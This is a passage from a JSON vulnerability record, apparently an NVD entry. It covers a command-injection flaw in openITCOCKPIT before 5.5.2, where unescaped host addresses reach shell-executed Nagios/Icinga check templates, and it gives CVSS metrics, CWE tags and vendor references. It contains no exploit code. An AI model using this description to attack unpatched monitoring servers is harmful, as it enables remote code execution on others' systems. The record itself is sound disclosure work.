The vulnerability arises because user-controlled host attributes (specifically the host address) are expanded into monitoring command templates without validation, escaping, or quoting. These templates are later executed by the monitoring engine (Nagios/Icinga) via a shell, resulting in remote code execution. Version 5.5.2 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-78"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:it-novum:openitcockpit:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.2", "matchCriteriaId": "59D6662E-E1EB-49A8-8B31-A15DBA895263"}]}]}], "references": [{"url": "https://github.com/openITCOCKPIT/openITCOCKPIT/releases/tag/openITCOCKPIT-5.5.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/openITCOCKPIT/openITCOCKPIT/security/advisories/GHSA-789q-pw85-j2q2", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://openitcockpit.io/blog/posts/2026/2026-04-14-openitcockpit-agent-3.6.0-and-5.5.2", "source": "[email protected]", "tags": ["Press/Media Coverage", "Release Notes"]}]}}
